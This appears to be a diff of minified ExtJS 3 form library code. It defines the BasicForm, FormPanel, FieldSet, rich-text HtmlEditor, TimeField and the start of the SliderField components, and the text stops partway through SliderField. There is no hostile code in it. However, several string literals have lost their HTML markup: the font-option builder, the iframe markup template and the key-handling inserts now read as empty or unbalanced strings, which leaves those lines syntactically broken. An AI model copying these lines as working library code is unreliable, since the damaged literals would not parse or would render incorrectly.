Ext.extend(Ext.util.Observable, {constructor:function (b, a) { + Ext.apply(this, a); + if (Ext.isString(this.paramOrder)) { + this.paramOrder = this.paramOrder.split(/[\s,|]/) + } + this.items = new Ext.util.MixedCollection(false, function (c) { + return c.getItemId() + }); + this.addEvents("beforeaction", "actionfailed", "actioncomplete"); + if (b) { + this.initEl(b) + } + Ext.form.BasicForm.superclass.constructor.call(this) +}, timeout:30, paramOrder:undefined, paramsAsHash:false, waitTitle:"Please Wait...", activeAction:null, trackResetOnLoad:false, initEl:function (a) { + this.el = Ext.get(a); + this.id = this.el.id || Ext.id(); + if (!this.standardSubmit) { + this.el.on("submit", this.onSubmit, this) + } + this.el.addClass("x-form") +}, getEl:function () { + return this.el +}, onSubmit:function (a) { + a.stopEvent() +}, destroy:function (a) { + if (a !== true) { + this.items.each(function (b) { + Ext.destroy(b) + }); + Ext.destroy(this.el) + } + this.items.clear(); + this.purgeListeners() +}, isValid:function () { + var a = true; + this.items.each(function (b) { + if (!b.validate()) { + a = false + } + }); + return a +}, isDirty:function () { + var a = false; + this.items.each(function (b) { + if (b.isDirty()) { + a = true; + return false + } + }); + return a +}, doAction:function (b, a) { + if (Ext.isString(b)) { + b = new Ext.form.Action.ACTION_TYPES[b](this, a) + } + if (this.fireEvent("beforeaction", this, b) !== false) { + this.beforeAction(b); + b.run.defer(100, b) + } + return this +}, submit:function (b) { + b = b || {}; + if (this.standardSubmit) { + var a = b.clientValidation === false || this.isValid(); + if (a) { + var c = this.el.dom; + if (this.url && Ext.isEmpty(c.action)) { + c.action = this.url + } + c.submit() + } + return a + } + var d = String.format("{0}submit", this.api ? "direct" : ""); + this.doAction(d, b); + return this +}, load:function (a) { + var b = String.format("{0}load", this.api ? "direct" : ""); + this.doAction(b, a); + return this +}, updateRecord:function (b) { + b.beginEdit(); + var a = b.fields, d, c; + a.each(function (e) { + d = this.findField(e.name); + if (d) { + c = d.getValue(); + if (Ext.type(c) !== false && c.getGroupValue) { + c = c.getGroupValue() + } else { + if (d.eachItem) { + c = []; + d.eachItem(function (g) { + c.push(g.getValue()) + }) + } + } + b.set(e.name, c) + } + }, this); + b.endEdit(); + return this +}, loadRecord:function (a) { + this.setValues(a.data); + return this +}, beforeAction:function (a) { + this.items.each(function (c) { + if (c.isFormField && c.syncValue) { + c.syncValue() + } + }); + var b = a.options; + if (b.waitMsg) { + if (this.waitMsgTarget === true) { + this.el.mask(b.waitMsg, "x-mask-loading") + } else { + if (this.waitMsgTarget) { + this.waitMsgTarget = Ext.get(this.waitMsgTarget); + this.waitMsgTarget.mask(b.waitMsg, "x-mask-loading") + } else { + Ext.MessageBox.wait(b.waitMsg, b.waitTitle || this.waitTitle) + } + } + } +}, afterAction:function (a, c) { + this.activeAction = null; + var b = a.options; + if (b.waitMsg) { + if (this.waitMsgTarget === true) { + this.el.unmask() + } else { + if (this.waitMsgTarget) { + this.waitMsgTarget.unmask() + } else { + Ext.MessageBox.updateProgress(1); + Ext.MessageBox.hide() + } + } + } + if (c) { + if (b.reset) { + this.reset() + } + Ext.callback(b.success, b.scope, [this, a]); + this.fireEvent("actioncomplete", this, a) + } else { + Ext.callback(b.failure, b.scope, [this, a]); + this.fireEvent("actionfailed", this, a) + } +}, findField:function (c) { + var b = this.items.get(c); + if (!Ext.isObject(b)) { + var a = function (d) { + if (d.isFormField) { + if (d.dataIndex == c || d.id == c || d.getName() == c) { + b = d; + return false + } else { + if (d.isComposite) { + return d.items.each(a) + } else { + if (d instanceof Ext.form.CheckboxGroup && d.rendered) { + return d.eachItem(a) + } + } + } + } + }; + this.items.each(a) + } + return b || null +}, markInvalid:function (h) { + if (Ext.isArray(h)) { + for (var c = 0, a = h.length; c < a; c++) { + var b = h[c]; + var d = this.findField(b.id); + if (d) { + d.markInvalid(b.msg) + } + } + } else { + var e, g; + for (g in h) { + if (!Ext.isFunction(h[g]) && (e = this.findField(g))) { + e.markInvalid(h[g]) + } + } + } + return this +}, setValues:function (c) { + if (Ext.isArray(c)) { + for (var d = 0, a = c.length; d < a; d++) { + var b = c[d]; + var e = this.findField(b.id); + if (e) { + e.setValue(b.value); + if (this.trackResetOnLoad) { + e.originalValue = e.getValue() + } + } + } + } else { + var g, h; + for (h in c) { + if (!Ext.isFunction(c[h]) && (g = this.findField(h))) { + g.setValue(c[h]); + if (this.trackResetOnLoad) { + g.originalValue = g.getValue() + } + } + } + } + return this +}, getValues:function (b) { + var a = Ext.lib.Ajax.serializeForm(this.el.dom); + if (b === true) { + return a + } + return Ext.urlDecode(a) +}, getFieldValues:function (a) { + var d = {}, e, b, c; + this.items.each(function (g) { + if (!g.disabled && (a !== true || g.isDirty())) { + e = g.getName(); + b = d[e]; + c = g.getValue(); + if (Ext.isDefined(b)) { + if (Ext.isArray(b)) { + d[e].push(c) + } else { + d[e] = [b, c] + } + } else { + d[e] = c + } + } + }); + return d +}, clearInvalid:function () { + this.items.each(function (a) { + a.clearInvalid() + }); + return this +}, reset:function () { + this.items.each(function (a) { + a.reset() + }); + return this +}, add:function () { + this.items.addAll(Array.prototype.slice.call(arguments, 0)); + return this +}, remove:function (a) { + this.items.remove(a); + return this +}, cleanDestroyed:function () { + this.items.filterBy( + function (a) { + return !!a.isDestroyed + }).each(this.remove, this) +}, render:function () { + this.items.each(function (a) { + if (a.isFormField && !a.rendered && document.getElementById(a.id)) { + a.applyToMarkup(a.id) + } + }); + return this +}, applyToFields:function (a) { + this.items.each(function (b) { + Ext.apply(b, a) + }); + return this +}, applyIfToFields:function (a) { + this.items.each(function (b) { + Ext.applyIf(b, a) + }); + return this +}, callFieldMethod:function (b, a) { + a = a || []; + this.items.each(function (c) { + if (Ext.isFunction(c[b])) { + c[b].apply(c, a) + } + }); + return this +}}); +Ext.BasicForm = Ext.form.BasicForm; +Ext.FormPanel = Ext.extend(Ext.Panel, {minButtonWidth:75, labelAlign:"left", monitorValid:false, monitorPoll:200, layout:"form", initComponent:function () { + this.form = this.createForm(); + Ext.FormPanel.superclass.initComponent.call(this); + this.bodyCfg = {tag:"form", cls:this.baseCls + "-body", method:this.method || "POST", id:this.formId || Ext.id()}; + if (this.fileUpload) { + this.bodyCfg.enctype = "multipart/form-data" + } + this.initItems(); + this.addEvents("clientvalidation"); + this.relayEvents(this.form, ["beforeaction", "actionfailed", "actioncomplete"]) +}, createForm:function () { + var a = Ext.applyIf({listeners:{}}, this.initialConfig); + return new Ext.form.BasicForm(null, a) +}, initFields:function () { + var c = this.form; + var a = this; + var b = function (d) { + if (a.isField(d)) { + c.add(d) + } else { + if (d.findBy && d != a) { + a.applySettings(d); + if (d.items && d.items.each) { + d.items.each(b, this) + } + } + } + }; + this.items.each(b, this) +}, applySettings:function (b) { + var a = b.ownerCt; + Ext.applyIf(b, {labelAlign:a.labelAlign, labelWidth:a.labelWidth, itemCls:a.itemCls}) +}, getLayoutTarget:function () { + return this.form.el +}, getForm:function () { + return this.form +}, onRender:function (b, a) { + this.initFields(); + Ext.FormPanel.superclass.onRender.call(this, b, a); + this.form.initEl(this.body) +}, beforeDestroy:function () { + this.stopMonitoring(); + this.form.destroy(true); + Ext.FormPanel.superclass.beforeDestroy.call(this) +}, isField:function (a) { + return !!a.setValue && !!a.getValue && !!a.markInvalid && !!a.clearInvalid +}, initEvents:function () { + Ext.FormPanel.superclass.initEvents.call(this); + this.on({scope:this, add:this.onAddEvent, remove:this.onRemoveEvent}); + if (this.monitorValid) { + this.startMonitoring() + } +}, onAdd:function (a) { + Ext.FormPanel.superclass.onAdd.call(this, a); + this.processAdd(a) +}, onAddEvent:function (a, b) { + if (a !== this) { + this.processAdd(b) + } +}, processAdd:function (a) { + if (this.isField(a)) { + this.form.add(a) + } else { + if (a.findBy) { + this.applySettings(a); + this.form.add.apply(this.form, a.findBy(this.isField)) + } + } +}, onRemove:function (a) { + Ext.FormPanel.superclass.onRemove.call(this, a); + this.processRemove(a) +}, onRemoveEvent:function (a, b) { + if (a !== this) { + this.processRemove(b) + } +}, processRemove:function (a) { + if (!this.destroying) { + if (this.isField(a)) { + this.form.remove(a) + } else { + if (a.findBy) { + Ext.each(a.findBy(this.isField), this.form.remove, this.form); + this.form.cleanDestroyed() + } + } + } +}, startMonitoring:function () { + if (!this.validTask) { + this.validTask = new Ext.util.TaskRunner(); + this.validTask.start({run:this.bindHandler, interval:this.monitorPoll || 200, scope:this}) + } +}, stopMonitoring:function () { + if (this.validTask) { + this.validTask.stopAll(); + this.validTask = null + } +}, load:function () { + this.form.load.apply(this.form, arguments) +}, onDisable:function () { + Ext.FormPanel.superclass.onDisable.call(this); + if (this.form) { + this.form.items.each(function () { + this.disable() + }) + } +}, onEnable:function () { + Ext.FormPanel.superclass.onEnable.call(this); + if (this.form) { + this.form.items.each(function () { + this.enable() + }) + } +}, bindHandler:function () { + var e = true; + this.form.items.each(function (g) { + if (!g.isValid(true)) { + e = false; + return false + } + }); + if (this.fbar) { + var b = this.fbar.items.items; + for (var d = 0, a = b.length; d < a; d++) { + var c = b[d]; + if (c.formBind === true && c.disabled === e) { + c.setDisabled(!e) + } + } + } + this.fireEvent("clientvalidation", this, e) +}}); +Ext.reg("form", Ext.FormPanel); +Ext.form.FormPanel = Ext.FormPanel; +Ext.form.FieldSet = Ext.extend(Ext.Panel, {baseCls:"x-fieldset", layout:"form", animCollapse:false, onRender:function (b, a) { + if (!this.el) { + this.el = document.createElement("fieldset"); + this.el.id = this.id; + if (this.title || this.header || this.checkboxToggle) { + this.el.appendChild(document.createElement("legend")).className = this.baseCls + "-header" + } + } + Ext.form.FieldSet.superclass.onRender.call(this, b, a); + if (this.checkboxToggle) { + var c = typeof this.checkboxToggle == "object" ? this.checkboxToggle : {tag:"input", type:"checkbox", name:this.checkboxName || this.id + "-checkbox"}; + this.checkbox = this.header.insertFirst(c); + this.checkbox.dom.checked = !this.collapsed; + this.mon(this.checkbox, "click", this.onCheckClick, this) + } +}, onCollapse:function (a, b) { + if (this.checkbox) { + this.checkbox.dom.checked = false + } + Ext.form.FieldSet.superclass.onCollapse.call(this, a, b) +}, onExpand:function (a, b) { + if (this.checkbox) { + this.checkbox.dom.checked = true + } + Ext.form.FieldSet.superclass.onExpand.call(this, a, b) +}, onCheckClick:function () { + this[this.checkbox.dom.checked ? "expand" : "collapse"]() +}}); +Ext.reg("fieldset", Ext.form.FieldSet); +Ext.form.HtmlEditor = Ext.extend(Ext.form.Field, {enableFormat:true, enableFontSize:true, enableColors:true, enableAlignments:true, enableLists:true, enableSourceEdit:true, enableLinks:true, enableFont:true, createLinkText:"Please enter the URL for the link:", defaultLinkValue:"http://", fontFamilies:["Arial", "Courier New", "Tahoma", "Times New Roman", "Verdana"], defaultFont:"tahoma", defaultValue:(Ext.isOpera || Ext.isIE6) ? " " : "​", actionMode:"wrap", validationEvent:false, deferHeight:true, initialized:false, activated:false, sourceEditMode:false, onFocus:Ext.emptyFn, iframePad:3, hideMode:"offsets", defaultAutoCreate:{tag:"textarea", style:"width:500px;height:300px;", autocomplete:"off"}, initComponent:function () { + this.addEvents("initialize", "activate", "beforesync", "beforepush", "sync", "push", "editmodechange"); + Ext.form.HtmlEditor.superclass.initComponent.call(this) +}, createFontOptions:function () { + var d = [], b = this.fontFamilies, c, g; + for (var e = 0, a = b.length; e < a; e++) { + c = b[e]; + g = c.toLowerCase(); + d.push('") + } + return d.join("") +}, createToolbar:function (e) { + var c = []; + var a = Ext.QuickTips && Ext.QuickTips.isEnabled(); + + function d(j, h, i) { + return{itemId:j, cls:"x-btn-icon", iconCls:"x-edit-" + j, enableToggle:h !== false, scope:e, handler:i || e.relayBtnCmd, clickEvent:"mousedown", tooltip:a ? e.buttonTips[j] || undefined : undefined, overflowText:e.buttonTips[j].title || undefined, tabIndex:-1} + } + + if (this.enableFont && !Ext.isSafari2) { + var g = new Ext.Toolbar.Item({autoEl:{tag:"select", cls:"x-font-select", html:this.createFontOptions()}}); + c.push(g, "-") + } + if (this.enableFormat) { + c.push(d("bold"), d("italic"), d("underline")) + } + if (this.enableFontSize) { + c.push("-", d("increasefontsize", false, this.adjustFont), d("decreasefontsize", false, this.adjustFont)) + } + if (this.enableColors) { + c.push("-", {itemId:"forecolor", cls:"x-btn-icon", iconCls:"x-edit-forecolor", clickEvent:"mousedown", tooltip:a ? e.buttonTips.forecolor || undefined : undefined, tabIndex:-1, menu:new Ext.menu.ColorMenu({allowReselect:true, focus:Ext.emptyFn, value:"000000", plain:true, listeners:{scope:this, select:function (i, h) { + this.execCmd("forecolor", Ext.isWebKit || Ext.isIE ? "#" + h : h); + this.deferFocus() + }}, clickEvent:"mousedown"})}, {itemId:"backcolor", cls:"x-btn-icon", iconCls:"x-edit-backcolor", clickEvent:"mousedown", tooltip:a ? e.buttonTips.backcolor || undefined : undefined, tabIndex:-1, menu:new Ext.menu.ColorMenu({focus:Ext.emptyFn, value:"FFFFFF", plain:true, allowReselect:true, listeners:{scope:this, select:function (i, h) { + if (Ext.isGecko) { + this.execCmd("useCSS", false); + this.execCmd("hilitecolor", h); + this.execCmd("useCSS", true); + this.deferFocus() + } else { + this.execCmd(Ext.isOpera ? "hilitecolor" : "backcolor", Ext.isWebKit || Ext.isIE ? "#" + h : h); + this.deferFocus() + } + }}, clickEvent:"mousedown"})}) + } + if (this.enableAlignments) { + c.push("-", d("justifyleft"), d("justifycenter"), d("justifyright")) + } + if (!Ext.isSafari2) { + if (this.enableLinks) { + c.push("-", d("createlink", false, this.createLink)) + } + if (this.enableLists) { + c.push("-", d("insertorderedlist"), d("insertunorderedlist")) + } + if (this.enableSourceEdit) { + c.push("-", d("sourceedit", true, function (h) { + this.toggleSourceEdit(!this.sourceEditMode) + })) + } + } + var b = new Ext.Toolbar({renderTo:this.wrap.dom.firstChild, items:c}); + if (g) { + this.fontSelect = g.el; + this.mon(this.fontSelect, "change", function () { + var h = this.fontSelect.dom.value; + this.relayCmd("fontname", h); + this.deferFocus() + }, this) + } + this.mon(b.el, "click", function (h) { + h.preventDefault() + }); + this.tb = b; + this.tb.doLayout() +}, onDisable:function () { + this.wrap.mask(); + Ext.form.HtmlEditor.superclass.onDisable.call(this) +}, onEnable:function () { + this.wrap.unmask(); + Ext.form.HtmlEditor.superclass.onEnable.call(this) +}, setReadOnly:function (b) { + Ext.form.HtmlEditor.superclass.setReadOnly.call(this, b); + if (this.initialized) { + if (Ext.isIE) { + this.getEditorBody().contentEditable = !b + } else { + this.setDesignMode(!b) + } + var a = this.getEditorBody(); + if (a) { + a.style.cursor = this.readOnly ? "default" : "text" + } + this.disableItems(b) + } +}, getDocMarkup:function () { + var a = Ext.fly(this.iframe).getHeight() - this.iframePad * 2; + return String.format('', this.iframePad, a) +}, getEditorBody:function () { + var a = this.getDoc(); + return a.body || a.documentElement +}, getDoc:function () { + return Ext.isIE ? this.getWin().document : (this.iframe.contentDocument || this.getWin().document) +}, getWin:function () { + return Ext.isIE ? this.iframe.contentWindow : window.frames[this.iframe.name] +}, onRender:function (b, a) { + Ext.form.HtmlEditor.superclass.onRender.call(this, b, a); + this.el.dom.style.border = "0 none"; + this.el.dom.setAttribute("tabIndex", -1); + this.el.addClass("x-hidden"); + if (Ext.isIE) { + this.el.applyStyles("margin-top:-1px;margin-bottom:-1px;") + } + this.wrap = this.el.wrap({cls:"x-html-editor-wrap", cn:{cls:"x-html-editor-tb"}}); + this.createToolbar(this); + this.disableItems(true); + this.tb.doLayout(); + this.createIFrame(); + if (!this.width) { + var c = this.el.getSize(); + this.setSize(c.width, this.height || c.height) + } + this.resizeEl = this.positionEl = this.wrap +}, createIFrame:function () { + var a = document.createElement("iframe"); + a.name = Ext.id(); + a.frameBorder = "0"; + a.style.overflow = "auto"; + a.src = Ext.SSL_SECURE_URL; + this.wrap.dom.appendChild(a); + this.iframe = a; + this.monitorTask = Ext.TaskMgr.start({run:this.checkDesignMode, scope:this, interval:100}) +}, initFrame:function () { + Ext.TaskMgr.stop(this.monitorTask); + var b = this.getDoc(); + this.win = this.getWin(); + b.open(); + b.write(this.getDocMarkup()); + b.close(); + var a = {run:function () { + var c = this.getDoc(); + if (c.body || c.readyState == "complete") { + Ext.TaskMgr.stop(a); + this.setDesignMode(true); + this.initEditor.defer(10, this) + } + }, interval:10, duration:10000, scope:this}; + Ext.TaskMgr.start(a) +}, checkDesignMode:function () { + if (this.wrap && this.wrap.dom.offsetWidth) { + var a = this.getDoc(); + if (!a) { + return + } + if (!a.editorInitialized || this.getDesignMode() != "on") { + this.initFrame() + } + } +}, setDesignMode:function (b) { + var a = this.getDoc(); + if (a) { + if (this.readOnly) { + b = false + } + a.designMode = (/on|true/i).test(String(b).toLowerCase()) ? "on" : "off" + } +}, getDesignMode:function () { + var a = this.getDoc(); + if (!a) { + return"" + } + return String(a.designMode).toLowerCase() +}, disableItems:function (a) { + if (this.fontSelect) { + this.fontSelect.dom.disabled = a + } + this.tb.items.each(function (b) { + if (b.getItemId() != "sourceedit") { + b.setDisabled(a) + } + }) +}, onResize:function (b, c) { + Ext.form.HtmlEditor.superclass.onResize.apply(this, arguments); + if (this.el && this.iframe) { + if (Ext.isNumber(b)) { + var e = b - this.wrap.getFrameWidth("lr"); + this.el.setWidth(e); + this.tb.setWidth(e); + this.iframe.style.width = Math.max(e, 0) + "px" + } + if (Ext.isNumber(c)) { + var a = c - this.wrap.getFrameWidth("tb") - this.tb.el.getHeight(); + this.el.setHeight(a); + this.iframe.style.height = Math.max(a, 0) + "px"; + var d = this.getEditorBody(); + if (d) { + d.style.height = Math.max((a - (this.iframePad * 2)), 0) + "px" + } + } + } +}, toggleSourceEdit:function (b) { + var d, a; + if (b === undefined) { + b = !this.sourceEditMode + } + this.sourceEditMode = b === true; + var c = this.tb.getComponent("sourceedit"); + if (c.pressed !== this.sourceEditMode) { + c.toggle(this.sourceEditMode); + if (!c.xtbHidden) { + return + } + } + if (this.sourceEditMode) { + this.previousSize = this.getSize(); + d = Ext.get(this.iframe).getHeight(); + this.disableItems(true); + this.syncValue(); + this.iframe.className = "x-hidden"; + this.el.removeClass("x-hidden"); + this.el.dom.removeAttribute("tabIndex"); + this.el.focus(); + this.el.dom.style.height = d + "px" + } else { + a = parseInt(this.el.dom.style.height, 10); + if (this.initialized) { + this.disableItems(this.readOnly) + } + this.pushValue(); + this.iframe.className = ""; + this.el.addClass("x-hidden"); + this.el.dom.setAttribute("tabIndex", -1); + this.deferFocus(); + this.setSize(this.previousSize); + delete this.previousSize; + this.iframe.style.height = a + "px" + } + this.fireEvent("editmodechange", this, this.sourceEditMode) +}, createLink:function () { + var a = prompt(this.createLinkText, this.defaultLinkValue); + if (a && a != "http://") { + this.relayCmd("createlink", a) + } +}, initEvents:function () { + this.originalValue = this.getValue() +}, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, setValue:function (a) { + Ext.form.HtmlEditor.superclass.setValue.call(this, a); + this.pushValue(); + return this +}, cleanHtml:function (a) { + a = String(a); + if (Ext.isWebKit) { + a = a.replace(/\sclass="(?:Apple-style-span|khtml-block-placeholder)"/gi, "") + } + if (a.charCodeAt(0) == this.defaultValue.replace(/\D/g, "")) { + a = a.substring(1) + } + return a +}, syncValue:function () { + if (this.initialized) { + var d = this.getEditorBody(); + var c = d.innerHTML; + if (Ext.isWebKit) { + var b = d.getAttribute("style"); + var a = b.match(/text-align:(.*?);/i); + if (a && a[1]) { + c = '
    ' + c + "
    " + } + } + c = this.cleanHtml(c); + if (this.fireEvent("beforesync", this, c) !== false) { + this.el.dom.value = c; + this.fireEvent("sync", this, c) + } + } +}, getValue:function () { + this[this.sourceEditMode ? "pushValue" : "syncValue"](); + return Ext.form.HtmlEditor.superclass.getValue.call(this) +}, pushValue:function () { + if (this.initialized) { + var a = this.el.dom.value; + if (!this.activated && a.length < 1) { + a = this.defaultValue + } + if (this.fireEvent("beforepush", this, a) !== false) { + this.getEditorBody().innerHTML = a; + if (Ext.isGecko) { + this.setDesignMode(false); + this.setDesignMode(true) + } + this.fireEvent("push", this, a) + } + } +}, deferFocus:function () { + this.focus.defer(10, this) +}, focus:function () { + if (this.win && !this.sourceEditMode) { + this.win.focus() + } else { + this.el.focus() + } +}, initEditor:function () { + try { + var c = this.getEditorBody(), a = this.el.getStyles("font-size", "font-family", "background-image", "background-repeat", "background-color", "color"), g, b; + a["background-attachment"] = "fixed"; + c.bgProperties = "fixed"; + Ext.DomHelper.applyStyles(c, a); + g = this.getDoc(); + if (g) { + try { + Ext.EventManager.removeAll(g) + } catch (d) { + } + } + b = this.onEditorEvent.createDelegate(this); + Ext.EventManager.on(g, {mousedown:b, dblclick:b, click:b, keyup:b, buffer:100}); + if (Ext.isGecko) { + Ext.EventManager.on(g, "keypress", this.applyCommand, this) + } + if (Ext.isIE || Ext.isWebKit || Ext.isOpera) { + Ext.EventManager.on(g, "keydown", this.fixKeys, this) + } + g.editorInitialized = true; + this.initialized = true; + this.pushValue(); + this.setReadOnly(this.readOnly); + this.fireEvent("initialize", this) + } catch (d) { + } +}, beforeDestroy:function () { + if (this.monitorTask) { + Ext.TaskMgr.stop(this.monitorTask) + } + if (this.rendered) { + Ext.destroy(this.tb); + var b = this.getDoc(); + if (b) { + try { + Ext.EventManager.removeAll(b); + for (var c in b) { + delete b[c] + } + } catch (a) { + } + } + if (this.wrap) { + this.wrap.dom.innerHTML = ""; + this.wrap.remove() + } + } + Ext.form.HtmlEditor.superclass.beforeDestroy.call(this) +}, onFirstFocus:function () { + this.activated = true; + this.disableItems(this.readOnly); + if (Ext.isGecko) { + this.win.focus(); + var a = this.win.getSelection(); + if (!a.focusNode || a.focusNode.nodeType != 3) { + var b = a.getRangeAt(0); + b.selectNodeContents(this.getEditorBody()); + b.collapse(true); + this.deferFocus() + } + try { + this.execCmd("useCSS", true); + this.execCmd("styleWithCSS", false) + } catch (c) { + } + } + this.fireEvent("activate", this) +}, adjustFont:function (b) { + var d = b.getItemId() == "increasefontsize" ? 1 : -1, c = this.getDoc(), a = parseInt(c.queryCommandValue("FontSize") || 2, 10); + if ((Ext.isSafari && !Ext.isSafari2) || Ext.isChrome || Ext.isAir) { + if (a <= 10) { + a = 1 + d + } else { + if (a <= 13) { + a = 2 + d + } else { + if (a <= 16) { + a = 3 + d + } else { + if (a <= 18) { + a = 4 + d + } else { + if (a <= 24) { + a = 5 + d + } else { + a = 6 + d + } + } + } + } + } + a = a.constrain(1, 6) + } else { + if (Ext.isSafari) { + d *= 2 + } + a = Math.max(1, a + d) + (Ext.isSafari ? "px" : 0) + } + this.execCmd("FontSize", a) +}, onEditorEvent:function (a) { + this.updateToolbar() +}, updateToolbar:function () { + if (this.readOnly) { + return + } + if (!this.activated) { + this.onFirstFocus(); + return + } + var b = this.tb.items.map, c = this.getDoc(); + if (this.enableFont && !Ext.isSafari2) { + var a = (c.queryCommandValue("FontName") || this.defaultFont).toLowerCase(); + if (a != this.fontSelect.dom.value) { + this.fontSelect.dom.value = a + } + } + if (this.enableFormat) { + b.bold.toggle(c.queryCommandState("bold")); + b.italic.toggle(c.queryCommandState("italic")); + b.underline.toggle(c.queryCommandState("underline")) + } + if (this.enableAlignments) { + b.justifyleft.toggle(c.queryCommandState("justifyleft")); + b.justifycenter.toggle(c.queryCommandState("justifycenter")); + b.justifyright.toggle(c.queryCommandState("justifyright")) + } + if (!Ext.isSafari2 && this.enableLists) { + b.insertorderedlist.toggle(c.queryCommandState("insertorderedlist")); + b.insertunorderedlist.toggle(c.queryCommandState("insertunorderedlist")) + } + Ext.menu.MenuMgr.hideAll(); + this.syncValue() +}, relayBtnCmd:function (a) { + this.relayCmd(a.getItemId()) +}, relayCmd:function (b, a) { + (function () { + this.focus(); + this.execCmd(b, a); + this.updateToolbar() + }).defer(10, this) +}, execCmd:function (b, a) { + var c = this.getDoc(); + c.execCommand(b, false, a === undefined ? null : a); + this.syncValue() +}, applyCommand:function (b) { + if (b.ctrlKey) { + var d = b.getCharCode(), a; + if (d > 0) { + d = String.fromCharCode(d); + switch (d) { + case"b": + a = "bold"; + break; + case"i": + a = "italic"; + break; + case"u": + a = "underline"; + break + } + if (a) { + this.win.focus(); + this.execCmd(a); + this.deferFocus(); + b.preventDefault() + } + } + } +}, insertAtCursor:function (c) { + if (!this.activated) { + return + } + if (Ext.isIE) { + this.win.focus(); + var b = this.getDoc(), a = b.selection.createRange(); + if (a) { + a.pasteHTML(c); + this.syncValue(); + this.deferFocus() + } + } else { + this.win.focus(); + this.execCmd("InsertHTML", c); + this.deferFocus() + } +}, fixKeys:function () { + if (Ext.isIE) { + return function (g) { + var a = g.getKey(), d = this.getDoc(), b; + if (a == g.TAB) { + g.stopEvent(); + b = d.selection.createRange(); + if (b) { + b.collapse(true); + b.pasteHTML("    "); + this.deferFocus() + } + } else { + if (a == g.ENTER) { + b = d.selection.createRange(); + if (b) { + var c = b.parentElement(); + if (!c || c.tagName.toLowerCase() != "li") { + g.stopEvent(); + b.pasteHTML("
    "); + b.collapse(false); + b.select() + } + } + } + } + } + } else { + if (Ext.isOpera) { + return function (b) { + var a = b.getKey(); + if (a == b.TAB) { + b.stopEvent(); + this.win.focus(); + this.execCmd("InsertHTML", "    "); + this.deferFocus() + } + } + } else { + if (Ext.isWebKit) { + return function (b) { + var a = b.getKey(); + if (a == b.TAB) { + b.stopEvent(); + this.execCmd("InsertText", "\t"); + this.deferFocus() + } else { + if (a == b.ENTER) { + b.stopEvent(); + this.execCmd("InsertHtml", "

    "); + this.deferFocus() + } + } + } + } + } + } +}(), getToolbar:function () { + return this.tb +}, buttonTips:{bold:{title:"Bold (Ctrl+B)", text:"Make the selected text bold.", cls:"x-html-editor-tip"}, italic:{title:"Italic (Ctrl+I)", text:"Make the selected text italic.", cls:"x-html-editor-tip"}, underline:{title:"Underline (Ctrl+U)", text:"Underline the selected text.", cls:"x-html-editor-tip"}, increasefontsize:{title:"Grow Text", text:"Increase the font size.", cls:"x-html-editor-tip"}, decreasefontsize:{title:"Shrink Text", text:"Decrease the font size.", cls:"x-html-editor-tip"}, backcolor:{title:"Text Highlight Color", text:"Change the background color of the selected text.", cls:"x-html-editor-tip"}, forecolor:{title:"Font Color", text:"Change the color of the selected text.", cls:"x-html-editor-tip"}, justifyleft:{title:"Align Text Left", text:"Align text to the left.", cls:"x-html-editor-tip"}, justifycenter:{title:"Center Text", text:"Center text in the editor.", cls:"x-html-editor-tip"}, justifyright:{title:"Align Text Right", text:"Align text to the right.", cls:"x-html-editor-tip"}, insertunorderedlist:{title:"Bullet List", text:"Start a bulleted list.", cls:"x-html-editor-tip"}, insertorderedlist:{title:"Numbered List", text:"Start a numbered list.", cls:"x-html-editor-tip"}, createlink:{title:"Hyperlink", text:"Make the selected text a hyperlink.", cls:"x-html-editor-tip"}, sourceedit:{title:"Source Edit", text:"Switch to source editing mode.", cls:"x-html-editor-tip"}}}); +Ext.reg("htmleditor", Ext.form.HtmlEditor); +Ext.form.TimeField = Ext.extend(Ext.form.ComboBox, {minValue:undefined, maxValue:undefined, minText:"The time in this field must be equal to or after {0}", maxText:"The time in this field must be equal to or before {0}", invalidText:"{0} is not a valid time", format:"g:i A", altFormats:"g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H|gi a|hi a|giA|hiA|gi A|hi A", increment:15, mode:"local", triggerAction:"all", typeAhead:false, initDate:"1/1/2008", initDateFormat:"j/n/Y", initComponent:function () { + if (Ext.isDefined(this.minValue)) { + this.setMinValue(this.minValue, true) + } + if (Ext.isDefined(this.maxValue)) { + this.setMaxValue(this.maxValue, true) + } + if (!this.store) { + this.generateStore(true) + } + Ext.form.TimeField.superclass.initComponent.call(this) +}, setMinValue:function (b, a) { + this.setLimit(b, true, a); + return this +}, setMaxValue:function (b, a) { + this.setLimit(b, false, a); + return this +}, generateStore:function (b) { + var c = this.minValue || new Date(this.initDate).clearTime(), a = this.maxValue || new Date(this.initDate).clearTime().add("mi", (24 * 60) - 1), d = []; + while (c <= a) { + d.push(c.dateFormat(this.format)); + c = c.add("mi", this.increment) + } + this.bindStore(d, b) +}, setLimit:function (b, g, a) { + var e; + if (Ext.isString(b)) { + e = this.parseDate(b) + } else { + if (Ext.isDate(b)) { + e = b + } + } + if (e) { + var c = new Date(this.initDate).clearTime(); + c.setHours(e.getHours(), e.getMinutes(), e.getSeconds(), e.getMilliseconds()); + this[g ? "minValue" : "maxValue"] = c; + if (!a) { + this.generateStore() + } + } +}, getValue:function () { + var a = Ext.form.TimeField.superclass.getValue.call(this); + return this.formatDate(this.parseDate(a)) || "" +}, setValue:function (a) { + return Ext.form.TimeField.superclass.setValue.call(this, this.formatDate(this.parseDate(a))) +}, validateValue:Ext.form.DateField.prototype.validateValue, formatDate:Ext.form.DateField.prototype.formatDate, parseDate:function (h) { + if (!h || Ext.isDate(h)) { + return h + } + var j = this.initDate + " ", g = this.initDateFormat + " ", b = Date.parseDate(j + h, g + this.format), c = this.altFormats; + if (!b && c) { + if (!this.altFormatsArray) { + this.altFormatsArray = c.split("|") + } + for (var e = 0, d = this.altFormatsArray, a = d.length; e < a && !b; e++) { + b = Date.parseDate(j + h, g + d[e]) + } + } + return b +}}); +Ext.reg("timefield", Ext.form.TimeField); +Ext.form.SliderField = Ext.extend(Ext.form.Field, {useTips:true, tipText:null, actionMode:"wrap", initComponent:function () { + var b = Ext.copyTo({id:this.id + "-slider"}, this.initialConfig, ["vertical", "minValue", "maxValue", "decimalPrecision", "keyIncrement", "increment", "clickToChange", "animate"]); + if (this.useTips) { + var a = this.tipText ? {getText:this.tipText} : {}; + b.plugins = [new Ext.slider.Tip(a)] + } + this.slider = new Ext.Slider(b); + Ext.form.SliderField.superclass.initComponent.call(this) +}, onRender:function (b, a) { + this.autoCreate = {id:this.id, name:this.name, type:"hidden", 